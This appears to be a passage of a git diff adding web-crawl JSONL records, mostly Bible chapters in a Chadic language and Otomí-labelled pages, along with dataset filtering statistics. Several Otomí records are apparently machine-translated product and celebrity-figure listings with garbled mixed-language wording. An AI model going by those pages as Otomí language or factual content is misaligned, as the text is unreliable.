ngé kugə kənde gə̄ ō, ngé kɔ̄ŕ nal gə̄ ō. 22Sila ojə Tubal Kain. Ni i nge koo yá̰a̰ malang kə́ rāā kə gində̄ nə̄ngá kasaá ō, kə gində̄ kə́ karī ō. Rī ngōkó̰o̰ Tubal Kain kə́ dəyá̰ na i Naama.\n23Lamek əda nə̄yá̰n gə̄ na:\nAda ō Sila ō, ōōī ndūḿ!\nNə̄yá̰ Lamek gə̄, ōōī najə̄ kɔrə̄ḿ!\nRé deē adə̄m̄ do anī, m-ā m̄-tɔ̄l̄ deē kógə̄ḿ kum gotə.\nRé deē əndam̄ anī, m-ā m̄-tɔ̄l̄ ngōn̄ kógə̄ḿ kum gotə.\n24Ré a tɔ̄lə̄n̄ de gə̄ i sīrí yā daləń ba̰ā̰ Kain anī,\na tɔ̄lə̄n̄ de gə̄ i kutə sīrí gidə i sīrí tá yā daləń ba̰ā̰ Lamek.\n25Adam ɓīī kə nə̄yá̰neé ɓáý, adə̄ nə̄yá̰n ojə ngōn̄ kə́ dəngam, ba əndā rīn na i Set#4.25 Set kə ta Hebəro kumən na i ndigə kadə̄m̄. tɔdɔ̄ ni-əda na:\nNə́ɓā ndigə kadə̄m̄ ngōn̄ kə́ rang gotə Abel ń Kain tɔ̄lə̄n tə́ ní.\n26Set ojə ngōn̄ kə́ dəngam ō. Ni-əndā rīn na i Enos. I loo ń noō tə́ n de gə̄ əlanə̄ń gír ɓāŕ Nə́ɓā na i Kɔ́ɔ̄ɓē dan ń a ndɔ̄ȳnən̄ tə́ ní.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.bible.com\/de\/bible\/446\/GEN.4.BS","date":"2021-06-19T19:03:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487649688.44\/warc\/CC-MAIN-20210619172612-20210619202612-00476.warc.gz","language":"mwm","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mwm_Latn_score\": 0.9999935626983643}","num_words":665,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/mwm_Latn/fineweb-2_000001_remove.jsonl b/mwm_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c6f893ff92690196a59a820bf35baddd70fa2c68 --- /dev/null +++ b/mwm_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1 @@ +{"text":"1\nNajə̄ i loo kə́ unjə̄ kow ō, ndi kə kumuú ō\n1Ta kəla gíŕ yá̰a̰ gə̄ tə́ malang ní, Najə̄ to noó kɔ̄ɔ́. Najə̄ ndin̄ i naā tə́ kə Nə́ɓāá ō, Najə̄ i Nə́ɓā ō. 2Ta kəla gíŕ tə́ ní, nin̄-ndin̄ i naā tə́ kə Nə́ɓāá. 3Yá̰a̰ malang i kə́ rāā kə ta kūl̄ Najə̄ ní, adə̄ yá̰á̰ kógə̄ḿ kə́ teē kanjə̄n ni gətóo. 4Ndi kə kumuú i tū Najə̄ tə́, ba ndi kə kumuú ní i loo kə́ unjə̄ kow yā de gə̄. 5Loo kə́ unjə̄ kow ní unjə̄ kum til tə́, ba til asə ger̄ loon alé.\n6Deē kógə̄ḿ kə́ Nə́ɓā əlan reē, rīn na i Ja̰a̰. 7Ni-reē tām̄ ni i kə́ de kə́ kum tə́, yā kɔr̄ najə̄ dɔ loo kə́ unjə̄ kow ní tə́, kadə̄ de gə̄ malang taān̄ kem kə kūl̄neé. 8I ni n i loo kə́ unjə̄ kow ní alé, ba ni-reē i yā kɔr̄ najə̄ kə́ kum tə́ dɔ loo kə́ unjə̄ kow ní tə́. 9Najə̄ ní i loo kə́ unjə̄ kow kə́ rɔ̄kum. Ni-reē dɔ nang tə́ adə̄ unjə̄ dɔ de gə̄ tə́ malang.\n10Ni i dɔ nang tə́ kété ō, de kə́ dɔ nang tə́ gə̄ ndin̄ i kə kūl̄neé ō, banī de kə́ dɔ nang tə́ gə̄ ger̄nən̄ alé. 11Ni-reē ɓēé looneé, ba de kə́ ɓē yān tə́ gə̄ əhɔnən̄ kə̄ rɔ̄də́ tə́ alé. 12Ba ngé gə̄ ń əhɔnən̄ kə̄ rɔ̄də́ tə́, adə̄ i ngé gə̄ ń taān̄ kemən ní, ni-adə̄də́ tɔ́gə kadə̄ télən̄ ngáń Nə́ɓā. 13Ojən̄də́ i kə gō ndigə yā mósə aĺ ō, yā dā̰ rɔ̄ aĺ ō, yā deé aĺ ō, banī i kə gō ndigə yā Nə́ɓā.\n14Najə̄ ní tél deē ō, ndi danjí tə́ ō. J-a̰a̰ *kɔsə gɔn yān. I kɔsə gɔn yā Ngōn̄ kə́ kal kógə̄ḿ beē kə́ ḭḭ rɔ̄ Bɔbə̄n tə́. Ngōn̄ ní kemən majə ngá̰ý ō, najə̄ kə́ rɔ̄kum i ngá̰ý kemən tə́ ō. 15Ja̰a̰ ɔr̄ najə̄ kə́ dɔn tə́ əda na:\nÁ̰a̰ī, deē ń m-ə́da najə̄ yān na deē kógə̄ḿ kə́ noḿ tə́ a reē gōḿ tə́ noō ní. Tɔdɔ̄ ni i kété noḿ tə́.\n16Tām̄ jḭḭ malang ní j-ənge yá̰a̰ kal̄ loo yān kə ta kūl̄ kem majə yān kə̄ dɔ naā tə́. 17Tɔdɔ̄ adə̄n̄jí *ndū najə̄ i kə ta kūl̄ Moijə, ba kem majə ō, najə̄ kə́ rɔ̄kum ō reēn̄ i kə ta kūl̄ Jeju Kərist. 18Deē kógə̄ḿ kə́ a̰a̰ Nə́ɓā gətóó bátə́. Ba Ngōn̄ Nə́ɓā kə́ kal kógə̄ḿ beē ń ndi naā tə́ ngándáńg kə Bɔbə̄ Ngōnōó ní, ni a rāā kadə̄ a ger̄nən̄.\nNajə̄ kə́ kum tə́ yā Ja̰a̰ Batistə\n(Á̰a̰ī Mat 3.1-12; Mark 1.1-8; Luk 3.1-18)\n19Najə̄ ń Ja̰a̰ əda dɔ rɔ̄n tə́ dan ń *Jipə kə́ *Jerusalem gə̄ əlan̄ *ngé tun̄ yá̰a̰ gə̄ ō, *ngán Lebi gə̄ ō, kadə̄ reē dəjenən̄ na ké ni i náā wa ní n toó. 20Ni ədadə́ wáńg na ni i *Kərist alé, anī nin̄-tél dəjenən̄ na:\n21Ní, ḭ̄ i náā tā? Ḭ̄ i *Eli a? Ni ədadə́ na:\nMā i ni alé.\nḬ̄ i *nge koō ta kə́ rɔ̄kum ní a?\nAnī ni-tél ədadə́ na:\nI mā alé. 22Nin̄-tél dəjenən̄ ɓáý to̰ na:\nḬ̄ i náā á ə́dájí ādə̄ jə-tél kə najə̄ kógə̄ḿ yā kəda ngé gə̄ ń əlan̄jí ní aĺ ḿ. Īkɔ́ ā ə́da na i rí dɔ rɔ̄í tə́? 23Anī ni-tél ədadə́ na:\nMā i ndū nge ń ənī mbēr̄ dəla loo tə́\nna kə ī-rāāī róbə yā Kɔ́ɔ̄ɓē kadə̄ ra súmūú#1.23 K. 23: Á̰a̰ī Ij 40.3,\ntītə̄ ń Ijai *nge koō ta ədań ní.\n24I *Parijiyḛ gə̄ n əlan̄də́ ní. 25Nin̄-dəjen̄ Ja̰a̰ najə̄ kógə̄ḿ ɓáý to̰, ədan̄ na:\nBa ré ḭ̄ i *Kərist aĺ ō, *Eli aĺ ō, *nge koō ta kə́ rɔ̄kum aĺ ō anī, i tām̄ rí tə́ á ā ī-rāā de gə̄ *batém ní? 26Ja̰a̰ tél ədadə́ na:\nMā m̄-rāā de gə̄ batém i kə́ maná, ba deē kógə̄ḿ kə́ ī-ger̄niī alé i dansí tə́ laā. 27Ni a reē gōḿ tə́, ba mā tā a tútə kəlā sākə̄rā kə́ njan tə́ gə̄gē ngóý ní, m-ásə́ tútə alé. 28Yá̰á̰ ní rāā yá̰a̰ i Betani, gidə man̄ Jurdḛ kə́ nú tə́, loo ń Ja̰a̰ a rāā de gə̄ *batém tū tə́ ní tə́.\nJeju i Ngōn̄ Batə̄ yā Nə́ɓā\n29Teē kə ndɔ̄ kə́ noō anī, Ja̰a̰ a̰a̰ Jeju a reē kə̄ rɔ̄n tə́, anī əda na:\nÁ̰a̰ī Ngōn̄ batə̄ yā Nə́ɓā, nge kɔr̄ majaĺ yā de kə́ dɔ nang tə́ gə̄. 30Deē ń m-ə́da najə̄ yān na deē kógə̄ḿ kə́ noḿ tə́ a reē gōḿ tə́ noō ní, ni n toó. Tɔdɔ̄ ni i kété noḿ tə́. 31Kété mā m̄-gerə̄n alé, banī m̄-reē rāā de gə̄ *batém tə́ i yā kadə̄ ngáń *Israel gə̄ ger̄nən̄neé.\n32Gō tə́ anī, Ja̰a̰ ɔr̄ najə̄ kə́ kum tə́ ɓáý to̰ əda na:\nM-á̰á̰ Ndíĺ ḭḭ dɔ rā̰ tə́ tītə̄ dér beé ba ndi dɔn tə́. 33Kété m̄-gerə̄n alé, ba nge ń əlam̄ rāā de gə̄ *batém tə́ kum man̄ tə́ ní ədam̄ na:\nDeē ń ā á̰á̰ Ndíĺ jə̄ngā dɔ rā̰ tə́ ndi dɔn tə́ ní, i nge ń a rāā de gə̄ batém kum *Ndíĺ kə́ Táĺ tə́ ní. 34Mā m-á̰a̰ ō, m-ə́da i yá̰á̰ kə́ m-á̰a̰ kə kumḿ ō, kadə̄ ni i Ngōn̄ Nə́ɓā.\nNgé ndóō yá̰a̰ yā Jeju kə́ ta kəga dɔ gə̄\n35Teē kə ndɔ̄ kə́ noō anī, Ja̰a̰ ra loo kə́ kógə̄ḿ beē nəkɔ́ ń noō tə́ ɓáý kə ngé ndóō yá̰a̰ yān gə̄ jōó. 36Dan ń ni-a̰a̰ Jeju a mān̄ anī əda na:\nÁ̰a̰ī Ngōn̄ batə̄ yā Nə́ɓā. 37Dan ń ngé ndóō yá̰a̰ yān kə́ jōó gə̄ nge ń toō oōn̄ najə̄ ń ni-əda ní anī, ɔtə unən̄ gō Jeju. 38Jeju tél tūr̄ kumən anī a̰a̰də́ a unən̄ gōn, anī ni-ədadə́ na:\nĀ ī-sāāī i rí? Nin̄-tél ədanən̄ na:\nRabi, ī-ndi i rá? Rabi, kə ta ɓē yādə́ ní kumən na i ngoljí. 39Anī Jeju ədadə́ na:\nĪ-reēī anī, ā á̰a̰ī. Loo ń noō tə́ nin̄-aw̄n̄, adə̄ a̰ā̰n̄ loo ń ni-ndi tū tə́ ní, ba ndin̄ rɔ̄n tə́ ndɔ̄ ngeé ń noō tə́. Dan ngeé noō tə́ ní loo i ta jī loo sɔl̄.\n40Dan de kə́ jōó gə̄ ń oōn̄ najə̄ yā Ja̰a̰ ba unən̄ gō Jeju tə́ ní, nge kə́ kógə̄ḿ i Andəre ngōkó̰o̰ Simo̰ Piyer. 41Deē ń Andəre əngen kété ní i Simo̰, anī ni-əda ngōkó̰o̰n na n-əngen̄ *Mesi. Mesi kə ta ɓē yādə́ ní kumən na i Kərist#1.41 Kərist, kumən na i mban̄g ń Nə́ɓā gə̄rān ní. Á̰a̰ī Kərist tū «Kum Najə̄ kə́ Ngón̄g Ngón̄g gə̄» tə́.. 42Ni-aw̄ kə Simo̰ rɔ̄ Jeju tə́. Jeju a̰a̰ Simo̰ anī əda na:\nḬ̄ i Simo̰ ngōn̄ Ja̰a̰, ba a ɓāríīn̄ na i Kepas, kumən na i Mbal̄.\nJeju ɓāŕ Pilipə ō, Natanayel ō\n43Teē kə ndɔ̄ kə́ noō anī, Jeju gḛy kaw̄ Galile. Ni-ənge Pilipə róbó, anī ədan na kə un gōn. 44Pilipə i de kə́ Betsaida, ɓē yā Andəre nin̄ kə Piyer tə́. 45Pilipə ənge Natanayel anī ədan na:\nJ-ənge nge ń ɔrə̄n̄ najə̄ yān kem makətūbə̄ *ndū najə̄ yā Moijə tə́ ō, kem makətūbə̄ yā *ngé koō ta gə̄ tə́ ō ní: I Jeju ngōn̄ Jəjep kə́ *Najaret.\n46Anī Natanayel tél ədan na:\nYá̰á̰ kógə̄ḿ kə́ majə a teē kem ɓē kə́ *Najaret tə́ nəkɔ́ a? Anī Pilipə tél ədan na:\nĪ-reē á̰a̰ā̰.\n47Jeju a̰a̰ Natanayel a reē kə̄ rɔ̄n tə́ anī, ɔr̄ najə̄ yān əda na: Ngōn̄ *Israel kə́ rɔ̄kum n toó, i de kə́ gól̄ loo gətóo kemən tə́ bátə́.\n48Anī Natanayel dəjen na:\nĪ-gerə̄m̄ i loo kə́ rá tə́? Anī Jeju tél ədan na:\nKété pá tá kadə̄ Pilipə ɓāríī dan ń ī-ndiń gíŕ kótōó ɓáý ní, mā m-á̰a̰ī kɔ̄ɔ́.\n49Anī Natanayel tél ədan na:\nNgoljí, ḭ̄ i Ngōn̄ Nə́ɓā, ḭ̄ i mban̄g yā ngáń Israel gə̄!\n50Jeju tél ədan na:\nI tām̄ kəda ń m-ə́daī na m-á̰a̰ī gíŕ kótōó ní n ī-taā kem ní a? Ā á̰á̰ yá̰á̰ kə́ bo tɔȳ nge ń noō gə̄ ɓáý. 51Jeju əda ɓáý to̰ na:\nĀdə̄ m-ə́dásí najə̄ kə́ bo ngá̰ý, ā á̰a̰ī ta dɔ rā̰ kə́ teē ō, *de kə́ dɔ rā̰ tə́ gə̄ yā Nə́ɓā kə́ a alə̄n̄ kə̄ dɔɔ́ ō, a risən̄ ō, dɔ Ngōn̄ Deē tə́#1.51 K. 51: Á̰a̰ī Tkg 28.12 .\n두번째 번역본에서 참고 구절을 로딩합니다.","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.bible.com\/ko\/bible\/446\/jhn.1.bs","date":"2014-03-11T21:09:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011278480\/warc\/CC-MAIN-20140305092118-00004-ip-10-183-142-35.ec2.internal.warc.gz","language":"mwm","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":61,"top_langs":"{\"mwm_Latn_score\": 1.0000091791152954}","num_words":1343,"character_repetition_ratio":0.057,"word_repetition_ratio":0.012,"special_characters_ratio":0.281,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/mwm_Latn/fineweb-2_000001_stas.jsonl b/mwm_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..cf96c12ac8feed8beaa3c79daf5053bab08e61a8 --- /dev/null +++ b/mwm_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 849.5, + "character_repetition_ratio": 0.06, + "word_repetition_ratio": 0.00375, + "special_characters_ratio": 0.26775000000000004, + "stopwords_ratio": 0.39625, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 285.40979310458147, + "character_repetition_ratio": 0.007842193570679064, + "word_repetition_ratio": 0.0049180788932265, + "special_characters_ratio": 0.008287792227125395, + "stopwords_ratio": 0.04113012885951126, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.0, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 695.0, + "character_repetition_ratio": 0.0605, + "word_repetition_ratio": 0.0015, + "special_characters_ratio": 0.2655, + "stopwords_ratio": 0.3895, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1343.0, + "character_repetition_ratio": 0.07, + "word_repetition_ratio": 0.012, + "special_characters_ratio": 0.281, + "stopwords_ratio": 0.459, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 665.0, + "character_repetition_ratio": 0.049, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.259, + "stopwords_ratio": 0.347, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1153.4, + "character_repetition_ratio": 0.06820000000000001, + "word_repetition_ratio": 0.009300000000000001, + "special_characters_ratio": 0.2771, + "stopwords_ratio": 0.4419, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 869.0, + "character_repetition_ratio": 0.0655, + "word_repetition_ratio": 0.00525, + "special_characters_ratio": 0.27125, + "stopwords_ratio": 0.41625, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 695.0, + "character_repetition_ratio": 0.0605, + "word_repetition_ratio": 0.0015, + "special_characters_ratio": 0.2655, + "stopwords_ratio": 0.3895, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 675.5, + "character_repetition_ratio": 0.055, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.262, + "stopwords_ratio": 0.3695, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "4", + "keep size": "3", + "remove size": "1" + } +] \ No newline at end of file diff --git a/nor_Latn/mala_000003_stas.jsonl b/nor_Latn/mala_000003_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..7788589b19ab1288b1ffbb2b165480406f29cdbb --- /dev/null +++ b/nor_Latn/mala_000003_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 42.7659639876423, + "character_repetition_ratio": 0.01630645677229239, + "word_repetition_ratio": 3.7253112619280706e-05, + "special_characters_ratio": 0.2107382990302447, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9768805316413273, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 126.32441827548378, + "character_repetition_ratio": 0.031895159045298396, + "word_repetition_ratio": 0.0018772286605402934, + "special_characters_ratio": 0.04018708613733691, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.08159943007938777, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 28.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.208, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 48932.0, + "character_repetition_ratio": 0.2, + "word_repetition_ratio": 0.256, + "special_characters_ratio": 0.4, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 10.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.03, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.037, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 84.0, + "character_repetition_ratio": 0.062, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.26, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 49.0, + "character_repetition_ratio": 0.019, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.233, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 28.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.208, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 16.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.183, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.997, + "perplexity_score": 500.0 + } + }, + { + "total size": "722141", + "keep size": "630507", + "remove size": "91634" + } +] \ No newline at end of file diff --git a/oto_Latn/fineweb-2_000001_keep.jsonl b/oto_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..316415eaed00dbff34a7eee927a5abb6647308e0 --- /dev/null +++ b/oto_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,16 @@ +{"text":"What people are saying - Write a review\nWe haven't found any reviews in the usual places.\nan'a An'an anim'a boeqha criztianu d'age d'agege déhe diqha dr'a Dr'aqhá drin g'aqhahq gage gége gettitho gettitho y'a grazia hangu hapq Hezu Hezucrizto Hiáqi hiattzi hing Hinn'a hiote idioma otomí ihoes ihoesm'asihq Ilezia inee ipattz iqha itza Jesucristo m'a dag M'ahettzi m'ahioni m'an m'an'ne m'anho M'aqha madi maguey misa mn'a mundo n'a maca n'age n'an n'ange n'angetho n'atza Nahq nehe ngoe nttzo Nu-q nu'a nu'bq nues Oqha Otho otomí Padre Pattzi pecado pháni phoe pq qha q i'a q m'a q mi'ra q y'a qha n'a qhahia qhai qhapi quiote r'a mqi Ratt rzai rzana s'anho sacramento simhei Sitha tambien teoo tt'ete Ttasi ttemmei ttoette ttza ttzadi ttzi ttzo ttzoqi ttzq y'a Zanto yanni yerba yoho Yote yqga zaha Zanta","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/books.google.com\/books?id=a-lAAAAAcAAJ&source=gbs_navlinks_s","date":"2014-03-07T12:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999642307\/warc\/CC-MAIN-20140305060722-00076-ip-10-183-142-35.ec2.internal.warc.gz","language":"oto","language_score":0.3500417769,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"oto_Latn_score\": 0.35004177689552307, \"crx_Latn_score\": 0.32162120938301086, \"nap_Latn_score\": 0.12465614080429077, \"otm_Latn_score\": 0.04367870092391968, \"pls_Latn_score\": 0.028878644108772278, \"tob_Latn_score\": 0.015673669055104256, \"sdc_Latn_score\": 0.013748649507761002}","num_words":136,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lengua: Otomí del centro, Estado de México\nOtomí. El inicio del mundo como la conocemos\nVersión Otomí\nRa m´ui ra hyadi ne ra tha\nM´ede pa xangu ya jeya Zithu, ra ntso, mbra meti ra hai. Ne ha ra pa mi mu n´a ra batsi, mi tengui u hingui zo.\nN´a ra pa, numu mi tho ra batsi mi honi ha nda ñahni, bi k´aan´i ne pa hinda mi ma ya ntso jai bi hiapi ra meta nda shifi num´u ra batsi mi ne nda ma.\nPe ra meta bi maxi ra batsi ne bi nkuee ta ra goho rap a, num´u ra batsi ya mi io yapu bi dexi n´a r aza pa nda tsangui m´hetsi hampu bi ndu´i bi da ya dehe bi ñungui ra ximho, nkjapu bi m´u ra tha.\nHa ngui pengui ya ntso jai, ra batsi ya ski dexi m´etsi pa nda m´ui ngu ra hyadi.\nNkjapu bi ndu ra ximho ngu di m´ujupia\nNkjapu pe ya jai ñatho.\nVersión en castellano","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/rubencaravaca.blogspot.com\/2017\/05\/cuentos-indigenas-mejicanos-otomi-el.html","date":"2017-05-29T01:59:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612008.48\/warc\/CC-MAIN-20170529014619-20170529034619-00032.warc.gz","language":"oto","language_score":0.8162927032,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"oto_Latn_score\": 0.8162927031517029, \"ote_Latn_score\": 0.1654832661151886}","num_words":167,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":0.831,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nt'ot'e filtro asete retardante llama\nFiltro ignífugo retardante paperFlame he̲'mi filtro bí desarrolla pa requisitos ntsuni auto mar hñets'i rendimiento nu'bu ar combustión carburo jár mpat'i mextha Nxoge ar funcionamiento. Tsibi retardanSeol Fiosrúcháin\nSonraí a táirge\nHe̲'mi filtro ignífugo\nHe̲'mi filtro ignífugo xi desarrollado pa da requisitos ntsuni auto mar hñets'i rendimiento nu'bu ar combustión carburo jár mpat'i mextha Nxoge ar funcionamiento. Retardante ar tsibi da agrega jar he̲'mi filtro, wadi bí experimento laboratorio ne ya muestras ar envió da cliente zubi pa ar ntsa̲.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/otq.chinafiltermedia.com\/flame-retardant-oil-filter-paper","date":"2017-10-19T16:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823350.23\/warc\/CC-MAIN-20171019160040-20171019180040-00180.warc.gz","language":"oto","language_score":0.3359646797,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"oto_Latn_score\": 0.3359646797180176, \"spa_Latn_score\": 0.08123406767845154, \"ote_Latn_score\": 0.07777518033981323, \"gym_Latn_score\": 0.06561190634965897, \"glg_Latn_score\": 0.05217745527625084, \"gug_Latn_score\": 0.04897871986031532, \"ots_Latn_score\": 0.041691139340400696, \"zaa_Latn_score\": 0.025635629892349243, \"eus_Latn_score\": 0.014950685203075409, \"por_Latn_score\": 0.014434991404414177, \"otq_Latn_score\": 0.01385735347867012, \"zai_Latn_score\": 0.012985813431441784, \"gle_Latn_score\": 0.010727113112807274, \"lij_Latn_score\": 0.010657544247806072, \"fur_Latn_score\": 0.010162277147173882}","num_words":85,"character_repetition_ratio":0.091,"word_repetition_ratio":0.184,"special_characters_ratio":0.169,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pe̲ts'i xingu características excelentes ar fibra carbono, resistencia axial fibra carbono ne módulo, xí hñets'i'i densidad, altas prestaciones específicas, arrastramiento, entorno hindi oxidante jár ultra mextha mpat'i, resistencia fatiga hño, entre ar pa ar específico ne ar conductividad ar hi'nä metal ne metal, coeficiente dilatación térmica t'olo ne anisotropía, resistencia jar corrosión, xi hño a través de jwe̲i x. Hño conductividad eléctrica ne térmica, Buena blindar electromágnetico.\nNt'ot'e ensayo tubo xi t'o̲t'e 'bu̲'bya mextha resistencia ne hi'nä maduro ar hñäki, propuesta nt'ot'e pe̲ts'i fibra carbono tubo ndu nzafi elástico xi t'o̲t'e nt'ot'e ntsa̲ yoho especies — muestreo nt'ot'e estiramiento ne estiramiento Nxoge nt'ot'e, respectivamente pa fagot diámetro ne tubo pequeño diámetro ntsa̲. jar piezas ya japi da nt'ot'e pa pe̲ts'i nthoni ne ya experimento ne ya nte aparato dedicado pa ntsa̲ estiramiento Nxoge, a través de ar validación ar experimento pe̲ts'i accesorio viabilidad ne superioridad, avance pe̲ts'i ntsa̲ Shi clip sostiene difíciles embotellamiento ya ndu nzafi xi t'o̲t'e tubo mextha ar resistencia.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/otq.composite-china.com\/news\/carbon-fiber-composites-research-946317.html","date":"2018-03-17T14:19:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645177.12\/warc\/CC-MAIN-20180317135816-20180317155816-00455.warc.gz","language":"oto","language_score":0.400269866,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"oto_Latn_score\": 0.40026986598968506, \"ote_Latn_score\": 0.19907578825950623, \"gug_Latn_score\": 0.04984987899661064, \"gym_Latn_score\": 0.041559990495443344, \"zai_Latn_score\": 0.0356786847114563, \"glg_Latn_score\": 0.03319167718291283, \"zaa_Latn_score\": 0.019031066447496414, \"spa_Latn_score\": 0.018726781010627747, \"hus_Latn_score\": 0.01663794554769993, \"pls_Latn_score\": 0.013762377202510834, \"maz_Latn_score\": 0.011580157093703747}","num_words":161,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":0.411,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Thuhuu ar xeni Nthuts'i: Figura ya hyats'i ya tso̲ho̲ celebridades jar ximha̲i ar tsita silicona Steven Jobs Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades...Mäs\nThuhuu ar xeni Nthuts'i: hyats'i estrella ar celebridad jar nxoge ximhai silicona tsita ndo'yo Churchill Hñä expansión: ma̲ha̲ ngú njwati ar ma̲ha̲ ngú njwati ya hyats'i yá hyats'i tsita yá...Mäs\nThuhuu ar xeni Nthuts'i: Deportes tsita silicona ximha̲i celebridades estrellas ndo'yo hyats'i Lebron James Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades...Mäs\nThuhuu ar xeni Nthuts'i: ximha̲i celebridades ne ya tso̲ho̲ hyats'i película personaje figura Chaplin Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades yá...Mäs\nThuhuu ar xeni Nthuts'i: Celebridad ja ya mfämu̲hñä ne ya silicona tsita hyats'i ya tso̲ho̲ figura ar Kim Jong — 'nar Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades...Mäs\nThuhuu ar xeni Nthuts'i: figura ya hyats'i personaje estrella cine Capitán Amerika Ma̲ha̲ ngú njwati hñä: hyats'i expansión pa figuras hyats'i celebridades celebridades yá modificado pa...Mäs\nThuhuu ar xeni 